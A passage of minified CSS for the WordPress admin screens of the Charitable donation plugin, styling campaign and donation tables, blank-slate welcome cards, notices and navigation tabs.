#charitable-admin-header{padding-top:46px}body.charitable_page_charitable-dashboard .tablenav .view-switch,body.charitable_page_charitable-dashboard .tablenav.top .actions{display:block!important;width:100%}}@media screen and (max-width:600px){body.admin-bar.charitable_page_charitable-dashboard #charitable-admin-header,body.admin-bar.post-type-campaign #charitable-admin-header{margin-bottom:-46px;padding-top:46px;margin-top:0}body.admin-bar.charitable_page_charitable-dashboard .row-actions span.id,body.admin-bar.post-type-campaign .row-actions span.id{color:#000;line-height:24px;font-size:13px;margin-left:8px;margin-right:0}}body.post-type-campaign .search-box input[name=s],body.post-type-donation .search-box input[name=s],body[class*=charitable_page_] .search-box input[name=s]{margin:2px 4px 0 0;height:34px}body.post-type-campaign input#search-submit,body.post-type-donation input#search-submit,body[class*=charitable_page_] input#search-submit{margin-top:2px;height:34px}body.post-type-campaign .alignleft.actions input[type=submit],body.post-type-campaign .alignleft.actions select,body.post-type-donation .alignleft.actions input[type=submit],body.post-type-donation .alignleft.actions select,body[class*=charitable_page_] .alignleft.actions input[type=submit],body[class*=charitable_page_] .alignleft.actions select{min-height:32px;height:38px}body.post-type-campaign .charitable-campaign-action-button,body.post-type-donation .charitable-campaign-action-button,body[class*=charitable_page_] .charitable-campaign-action-button{cursor:pointer;padding:5px 4px;border:1px solid #e1e3e5;background-color:#fff;width:20px;height:18px;border-radius:3px;color:#5f616b;display:inline-block;text-align:center;vertical-align:middle;margin-right:10px;line-height:23px}body.post-type-campaign .charitable-campaign-action-button:hover,body.post-type-donation .charitable-campaign-action-button:hover,body[class*=charitable_page_] .charitable-campaign-action-button:hover{color:#fff}body.post-type-campaign.edit-php.charitable-campaigns-0-published #posts-filter tbody#the-list td,body.post-type-campaign.edit-php.charitable-campaigns-0-trash #posts-filter tbody#the-list td{vertical-align:middle;padding-top:20px;padding-bottom:20px;height:auto}body.post-type-campaign.edit-php.charitable-campaigns-0-published #posts-filter tbody#the-list tr.child td,body.post-type-campaign.edit-php.charitable-campaigns-0-trash #posts-filter tbody#the-list tr.child td{padding-top:0;padding-bottom:0}body.post-type-campaign.edit-php.charitable-campaigns-0-published .tablenav.top .charitable-export-actions,body.post-type-campaign.edit-php.charitable-campaigns-0-trash .tablenav.top .charitable-export-actions{margin-left:0}body.post-type-campaign.edit-php.charitable-campaigns-0-published .tablenav.top .charitable-legacy-actions,body.post-type-campaign.edit-php.charitable-campaigns-0-trash .tablenav.top .charitable-legacy-actions{margin-left:15px}.body.post-type-campaign.edit-php.charitable-campaigns-0-trash .charitable-campaign-legacy-actions{display:none!important}body.post-type-donation #posts-filter button,body.post-type-donation #posts-filter input,body.post-type-donation #posts-filter select,body.post-type-donation #posts-filter textarea{font-family:Inter,sans-serif!important}body.post-type-donation table{border-color:#ddd}body.post-type-donation table tfoot th a,body.post-type-donation table thead th a{color:#6a6c77;font-weight:500}body.post-type-donation table tfoot td,body.post-type-donation table tfoot th,body.post-type-donation table thead td,body.post-type-donation table thead th{border-color:#ddd}body.post-type-donation table td.title{font-weight:400;padding-right:50px}body.post-type-donation table td.title a{font-weight:400;color:#454955}body.post-type-donation h1{font-family:Inter,sans-serif;font-weight:500}body.post-type-donation h1.wp-heading-inline{font-size:21px;margin-right:10px;margin-bottom:5px;margin-top:20px}body.post-type-donation #screen-meta-links{display:none}body.post-type-donation p.search-box{position:absolute;right:20px;top:auto;margin-top:39px}body.post-type-donation input#search-submit,body.post-type-donation input.button,body.post-type-donation select{background-color:#f9f9fa;color:#52545f;border-color:#e4e4e7}body.post-type-donation form#posts-filter .tablenav{font-family:Inter,sans-serif}body.post-type-donation form#posts-filter .tablenav select{min-width:160px}body.post-type-donation form#posts-filter .tablenav.top{margin-bottom:20px}body.post-type-donation form#posts-filter .tablenav.top button,body.post-type-donation form#posts-filter .tablenav.top select{font-size:13px;line-height:29px;font-weight:500}body.post-type-donation form#posts-filter .tablenav.top button{padding:0 15px}body.post-type-donation form#posts-filter .tablenav.bottom{margin-top:25px}body.post-type-donation form#posts-filter .tablenav.bottom button,body.post-type-donation form#posts-filter .tablenav.bottom select{font-size:13px;line-height:29px;font-weight:500}body.post-type-donation form#posts-filter .tablenav.bottom button{padding:0 15px}body.post-type-donation .charitable-donation-export-actions,body.post-type-donation .charitable-donation-filter-actions,body.post-type-donation .charitable-donation-legacy-actions{font-family:Inter,sans-serif}body.post-type-donation .charitable-donation-export-actions a,body.post-type-donation .charitable-donation-filter-actions a,body.post-type-donation .charitable-donation-legacy-actions a{font-size:14px;line-height:19px;color:#2b66d1;font-weight:500;display:inline-block;padding-top:9px}body.post-type-donation .charitable-donation-export-actions a label,body.post-type-donation .charitable-donation-filter-actions a label,body.post-type-donation .charitable-donation-legacy-actions a label{display:block;text-decoration:underline;float:left;margin-top:-2px}body.post-type-donation .charitable-donation-export-actions a img,body.post-type-donation .charitable-donation-filter-actions a img,body.post-type-donation .charitable-donation-legacy-actions a img{width:16px;height:16px;display:block;margin-right:4px;float:left}body.post-type-donation .charitable-donation-export-actions a.charitable-campaigns-clear,body.post-type-donation .charitable-donation-filter-actions a.charitable-campaigns-clear,body.post-type-donation .charitable-donation-legacy-actions a.charitable-campaigns-clear{font-weight:400;padding:5px 15px;margin:0 0 0 5px}body.post-type-donation .charitable-donations-clear.button{padding-top:4px;margin-left:10px;margin-top:2px}body.post-type-donation .charitable-donation-legacy-actions a{color:green}body.post-type-donation .charitable-donation-legacy-actions a img{margin-top:2px}body.post-type-donation .charitable-donation-filter-actions{margin-right:10px}body.post-type-donation .charitable-donation-filter-actions a img{width:11px;height:11px;margin-top:2px}body.post-type-donation input#post-search-input{border-color:#e4e4e7}body.post-type-donation #wpbody-content .page-title-action{background-color:#00a32a;color:#fff}body.post-type-donation #wpbody-content .charitable-donation-action-button{cursor:pointer;padding:5px 4px;border:1px solid #e1e3e5;background-color:#fff;width:20px;height:18px;border-radius:3px;color:#5f616b;display:inline-block;text-align:center;vertical-align:middle;margin-right:10px}body.post-type-donation #wpbody-content .charitable-donation-action-button:hover{color:#fff}body.post-type-donation .jconfirm .jconfirm-cell{display:block}body.post-type-donation.edit-php.post-type-donation tbody#the-list td{vertical-align:middle}body.post-type-donation.edit-php.post-type-donation .actions{vertical-align:middle}body.post-type-donation.edit-php.post-type-donation .actions button{font-size:18px;border-radius:0;box-shadow:none;border:1px solid #ccc;background-color:transparent;margin:0 5px 0 0}body.post-type-donation.edit-php.post-type-donation tbody#the-list th.check-column input[type=checkbox]{margin-top:3px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td,body.post-type-donation.edit-php.post-type-donation tbody#the-list th.check-column{vertical-align:top;padding-top:20px}body.post-type-donation.edit-php.post-type-donation tbody#the-list tr.no-items td{padding-top:10px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-actions{padding-top:19px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-creator .charitable-donation-creator-avatar{border-radius:50%;max-width:25px;max-height:25px;float:left}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-creator .charitable-donation-creator-name{display:inline-block;margin-left:10px;margin-top:2px}body.post-type-donation.edit-php.post-type-donation .donated .meter{height:10px;position:relative;background:#d3d3d3;padding:0;margin:10px auto 0 0;width:75%;box-shadow:inset 0 -1px 1px rgba(255,255,255,.3)}body.post-type-donation.edit-php.post-type-donation .donated .meter>span{display:block;height:100%;border-top-right-radius:8px;border-bottom-right-radius:8px;border-top-left-radius:20px;border-bottom-left-radius:20px;background-color:#00a32a;background-image:linear-gradient(center bottom,#2bc253 37%,#54f054 69%);box-shadow:inset 0 2px 9px rgba(255,255,255,.3),inset 0 -2px 6px rgba(0,0,0,.4);position:relative;overflow:hidden}body.post-type-donation.edit-php.post-type-donation .column-status mark{padding:0 0;margin:0;text-align:center;white-space:nowrap;background:#fff;border-radius:0;font-size:14px;font-weight:400;letter-spacing:1px;text-transform:capitalize;color:#2d2d2d}body.post-type-donation.edit-php.post-type-donation .column-status mark.active{color:#00a32a;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.draft{color:#545660;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.finished{color:#215d8f;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.successful{color:#215d8f;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.unsuccessful{color:#d63638;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .tablenav.top>.tablenav-pages{display:none}body.post-type-donation #wpbody-content .page-title-action{background-color:#5aa152;border-radius:5px}body.post-type-donation .charitable-blank-slate{max-width:764px;text-align:center;margin:auto;padding:5em 0 0}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-hero-image{min-height:150px;opacity:.3}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-message{color:#444;font-size:1.5em;margin:1em auto 1em}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons{margin-bottom:4em}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta{font-size:1.2em;padding:.75em 1.5em;margin:0 .25em;height:auto;display:inline-block!important;background:#fff;border-color:#000;color:#000}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.charitable-button{display:inline-block;border-radius:4px;cursor:pointer;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none;font-size:16px;font-weight:600!important;line-height:19px;padding:10px 20px;border:none;background-color:#df7739;color:#fff;text-transform:capitalize;letter-spacing:normal;padding:15px 25px}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.charitable-button:hover{background-color:#bd632f;color:#fff}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.button-secondary{background-color:#5aa152;color:#fff}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.button-secondary:hover{color:#fff}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta:hover{color:#000}body.wp-admin.charitable-campaigns table.wp-list-table td.column-creator a{display:flex}.charitable-blank-slate{max-width:800px;text-align:center;margin:auto;padding:2em 0 0}.charitable-blank-slate .page-header{background:#fff;border:1px solid #ccd0d4;padding:20px;display:flex;justify-content:space-between;align-items:center;margin:0 0 20px 0}.charitable-blank-slate .page-header .page-title{font-size:23px;font-weight:400;color:#23282d;margin:0}.charitable-blank-slate .welcome-card{background:#fff;border:1px solid #ccd0d4;border-radius:4px;padding:40px;text-align:center;margin-bottom:30px;box-shadow:0 1px 1px rgba(0,0,0,.04)}.charitable-blank-slate .welcome-card .welcome-title{font-size:28px;color:#23282d;margin-bottom:16px;font-weight:600}.charitable-blank-slate .welcome-card .welcome-description{font-size:16px;color:#666;margin-bottom:32px;max-width:600px;margin-left:auto;margin-right:auto;line-height:1.5}.charitable-blank-slate .btn-primary{background:#87b655;color:#fff;border:none;padding:8px 16px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block}.charitable-blank-slate .btn-primary:hover{background:#7a9f4f;color:#fff}.charitable-blank-slate .btn-primary.btn-large{font-size:16px;padding:16px 32px;border-radius:5px}.charitable-blank-slate .btn-secondary{background:#f47c3c;color:#fff;border:none;padding:10px 20px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block}.charitable-blank-slate .btn-secondary:hover{background:#e66a2a;color:#fff}.charitable-blank-slate .secondary-actions{display:grid;grid-template-columns:1fr;gap:20px;margin:30px auto;max-width:800px}@media (min-width:768px){.charitable-blank-slate .secondary-actions{grid-template-columns:1fr 1fr}}.charitable-blank-slate .action-card{background:#fff;border:1px solid #ccd0d4;text-align:left;border-radius:4px;padding:24px;box-shadow:0 1px 1px rgba(0,0,0,.04)}.charitable-blank-slate .action-card h3{font-size:16px;color:#23282d;margin:0 0 20px 0;font-weight:600;text-align:left}.charitable-blank-slate .action-card p{color:#666;margin:0 0 16px 0;font-size:14px;line-height:1.4}.charitable-blank-slate .givewp-detection-text{margin:0 0 8px 0;font-size:14px;line-height:1.4}.charitable-blank-slate .givewp-detection-text strong{color:#23282d}.charitable-blank-slate .givewp-detection-text .givewp-count{color:#f47c3c;font-weight:700}.charitable-blank-slate .help-resources{background:#fff;border:1px solid #ccd0d4;border-radius:4px;padding:24px;box-shadow:0 1px 1px rgba(0,0,0,.04);margin:30px auto;max-width:800px;text-align:left}.charitable-blank-slate .help-resources h3{font-size:16px;color:#23282d;margin:0 0 16px 0;font-weight:600}.charitable-blank-slate .help-links{list-style:none;margin:0;padding:0}.charitable-blank-slate .help-links li{margin:0 0 8px 0;padding:0}.charitable-blank-slate .help-links li a{color:#0073aa;text-decoration:none;font-size:14px}.charitable-blank-slate .help-links li a:hover{text-decoration:underline}.charitable-blank-slate .blank-slate-feature-card{background:#fff;border:1px solid #ccd0d4;border-radius:4px;padding:24px;text-align:left;box-shadow:0 1px 1px rgba(0,0,0,.04);display:flex;flex-direction:column;align-items:flex-start;gap:16px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-title-icon-row{display:flex;align-items:center;justify-content:center;gap:8px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-icon{display:flex;align-items:center;justify-content:center}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-icon img{width:24px;height:24px;opacity:.7}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-content{display:flex;flex-direction:column;align-items:flex-start;gap:12px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-button-row{display:flex;flex-direction:row;align-items:center;gap:10px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-title{font-size:16px;color:#23282d;margin:0;font-weight:600;display:flex;align-items:center;gap:8px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-pro-badge{background:#f47c3c;color:#fff;font-size:10px;padding:2px 6px;border-radius:2px;font-weight:600;display:inline-block;text-transform:uppercase}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-description{color:#666;margin:0;font-size:14px;line-height:1.4;text-align:left;max-width:100%}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button{background:#f47c3c;color:#fff;border:none;padding:10px 20px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block;font-weight:400;transition:all .2s ease;text-align:center}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:hover:not(:disabled){background:#e66a2a;color:#fff;text-decoration:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:focus{box-shadow:0 0 0 1px #e66a2a;outline:0}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:disabled{opacity:.6;cursor:not-allowed}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-install-button{background:#f47c3c}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-install-button:hover{background:#e66a2a}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button{background:#87b655}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button:hover{background:#7a9f4f}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-installed-button{background:#6c757d;color:#fff}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-installed-button:hover{background:#6c757d}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-upgrade-button{background:#f47c3c}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-upgrade-button:hover{background:#e66a2a}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-learn-more-button{background:#f47c3c;color:#fff;border:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-learn-more-button:hover{background:#e66a2a;color:#fff;text-decoration:none}.blank-slate-feature-content .charitable-dashboard-v2-enhance-grid-button{padding:4px 15px!important;margin-top:2px;font-size:13px;line-height:29px;font-weight:500}.charitable-growth-tools-dashboard.charitable-growth-tools-notice{position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);z-index:9999}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior{background-color:#fff;padding:20px;margin-top:-50px;box-shadow:0 0 30px rgba(0,0,0,.15);border-radius:4px;text-align:center;position:relative}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior h2{font-size:21px;line-height:24px;font-weight:500;margin:0 0 10px 0;font-family:Inter,sans-serif}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p{font-size:16px;line-height:21px;margin:5px auto;font-family:Inter,sans-serif}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.another-suggestion{margin-top:20px;font-size:12px;line-height:12px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.another-suggestion a{font-weight:300;color:#444}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.more-recommendations{font-size:14px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior .charitable-notice-why{width:75%;margin:20px auto}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior .charitable-notice-why strong{text-transform:uppercase;font-weight:700;font-size:14px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior a.charitable-remove-growth-tools{position:absolute;right:20px;top:20px;font-size:14px;line-height:14px;width:16px;height:16px;text-decoration:none;opacity:.3;background-image:url(..\u002F..\u002Fimages\u002Fonboarding\u002Fchecklist\u002Ftimes-circle-regular.svg);color:#b6b6b6}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.charitable-dashboard-notice-another-suggestion a{color:#000;font-size:12px;line-height:14px;text-decoration:underline;font-weight:300}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.charitable-dashboard-notice-another-suggestion a:hover{color:#a9a9a9}.marketplace-suggestions-container .marketplace-suggestion-container{padding:1.5em;align-items:center;flex-direction:row}.marketplace-suggestions-container h4{margin:0 auto;font-weight:500;font-size:18px}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container{display:flex;position:relative}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-content h4{text-align:left}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-content p{font-size:13px;line-height:1.5;margin:4px 0 0 0;color:#444;text-align:left}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container img.marketplace-suggestion-icon{margin:0 1.5em 0 0;height:40px;flex:0 0 40px}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-cta{flex:1 1 30%;min-width:160px;text-align:right}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .suggestion-dismiss{position:relative;top:5px;right:auto;margin-left:1em;color:#ddd}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.suggestion-dismiss::before{font-family:Dashicons;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;content:\"\\f335\";text-decoration:none;font-size:1.5em}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link{background-color:#5aa152;color:#fff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer;margin:5px auto 0 auto;display:inline-block}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link.charitable-learn-more{background-color:#f18200}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link:hover{background-color:#3f7539}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta{text-align:center}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta a.linkout{text-decoration:none;margin-right:20px;color:#999}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta a.linkout:hover{color:#444;text-decoration:underline}#adminmenu #toplevel_page_charitable ul.wp-submenu li.wp-first-item{display:none!important;visibility:hidden!important}body.charitable_legacy_dashboard #adminmenu #toplevel_page_charitable ul.wp-submenu li.wp-first-item{display:unset;visibility:unset}body.taxonomy-campaign_category li#toplevel_page_charitable ul li.tools,body.taxonomy-campaign_tag li#toplevel_page_charitable ul li.tools{font-weight:600!important;color:#fff}body.taxonomy-campaign_category li#toplevel_page_charitable ul li.tools a,body.taxonomy-campaign_tag li#toplevel_page_charitable ul li.tools a{font-weight:600!important;color:#fff}#adminmenu .wp-submenu a .charitable-menu-new-indicator{color:#f18200;vertical-align:super;font-size:9px}body.charitable_page_charitable-addons table,body.charitable_page_charitable-reports table,body.charitable_page_charitable-settings table,body.charitable_page_charitable-tools table,body.post-type-charitable.edit-tags-php table{border-color:#ddd}body.charitable_page_charitable-addons table tfoot th a,body.charitable_page_charitable-addons table thead th a,body.charitable_page_charitable-reports table tfoot th a,body.charitable_page_charitable-reports table thead th a,body.charitable_page_charitable-settings table tfoot th a,body.charitable_page_charitable-settings table thead th a,body.charitable_page_charitable-tools table tfoot th a,body.charitable_page_charitable-tools table thead th a,body.post-type-charitable.edit-tags-php table tfoot th a,body.post-type-charitable.edit-tags-php table thead th a{color:#6a6c77;font-weight:500}body.charitable_page_charitable-addons table tfoot td,body.charitable_page_charitable-addons table tfoot th,body.charitable_page_charitable-addons table thead td,body.charitable_page_charitable-addons table thead th,body.charitable_page_charitable-reports table tfoot td,body.charitable_page_charitable-reports table tfoot th,body.charitable_page_charitable-reports table thead td,body.charitable_page_charitable-reports table thead th,body.charitable_page_charitable-settings table tfoot td,body.charitable_page_charitable-settings table tfoot th,body.charitable_page_charitable-settings table thead td,body.charitable_page_charitable-settings table thead th,body.charitable_page_charitable-tools table tfoot td,body.charitable_page_charitable-tools table tfoot th,body.charitable_page_charitable-tools table thead td,body.charitable_page_charitable-tools table thead th,body.post-type-charitable.edit-tags-php table tfoot td,body.post-type-charitable.edit-tags-php table tfoot th,body.post-type-charitable.edit-tags-php table thead td,body.post-type-charitable.edit-tags-php table thead th{border-color:#ddd}body.charitable_page_charitable-addons table td.title,body.charitable_page_charitable-reports table td.title,body.charitable_page_charitable-settings table td.title,body.charitable_page_charitable-tools table td.title,body.post-type-charitable.edit-tags-php table td.title{font-weight:400;padding-right:50px}body.charitable_page_charitable-addons table td.title a,body.charitable_page_charitable-reports table td.title a,body.charitable_page_charitable-settings table td.title a,body.charitable_page_charitable-tools table td.title a,body.post-type-charitable.edit-tags-php table td.title a{font-weight:400;color:#454955}body.charitable_page_charitable-addons h1,body.charitable_page_charitable-reports h1,body.charitable_page_charitable-settings h1,body.charitable_page_charitable-tools h1,body.post-type-charitable.edit-tags-php h1{font-family:Inter,sans-serif;font-weight:500;font-size:21px;margin-right:10px;margin-bottom:20px;margin-top:20px}body.post-type-charitable.edit-tags-php #col-container{margin-top:15px}body.post-type-charitable.edit-tags-php h1.wp-heading-inline{display:none}body.charitable_page_charitable-settings div#charitable-settings table.form-table tbody tr th[scope=row] label{font-weight:400;font-size:inherit;margin:10px 0 6px 0;line-height:20px;font-family:Inter,sans-serif;display:block}.charitable-customizer-section img{float:left;border:1px solid #ccc;padding:5px;margin-right:20px}.charitable-customizer-section a.button.button-primary{background-color:#5aa152;border-color:#5aa152;color:#fff;border-radius:5px;font-family:Inter,sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable_page_charitable-about h2.nav-tab-wrapper,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper,body.charitable_page_charitable-reports h2.nav-tab-wrapper,body.charitable_page_charitable-settings h2.nav-tab-wrapper,body.charitable_page_charitable-tools h2.nav-tab-wrapper,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper{font-family:Inter,sans-serif;margin-bottom:25px;display:inline-block;border-bottom:1px solid #d5d6d8;padding-left:0;padding-right:20px;margin-bottom:5px;width:calc(100% - 40px)}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab{margin:0 15px 0 0;font-family:Inter,sans-serif;border:0;background:0 0;color:#85878f;font-size:15px;line-height:18px;padding-bottom:25px;padding-left:15px;padding-right:15px;font-weight:400;border-bottom:2px solid transparent}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-active{color:#2f3241;font-weight:600;border-bottom:2px solid #5aa152}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after{content:\"Pro\";background-color:#f99e36;padding:3px 7px;font-size:11px;line-height:11px;text-transform:uppercase;color:#fff;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-7px}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after{display:none}body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab:hover,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab:hover,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab:hover,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab:hover{color:#2f3241;border-bottom:2px solid #d5d6d8}body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper{font-family:Inter,sans-serif;margin:10px 0 0 0;padding:0;border-bottom:none;font-size:14px;font-weight:400}body.charitable_page_charitable-about h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-reports h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-settings h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper a.nav-tab{font-size:13px;line-height:13px;padding:10px 15px;border-bottom:2px solid transparent;background-color:transparent;border-top:0;border-left:0;border-right:0;font-weight:400;margin-left:0}body.charitable_page_charitable-about h3.nav-sub-tab-wrapper 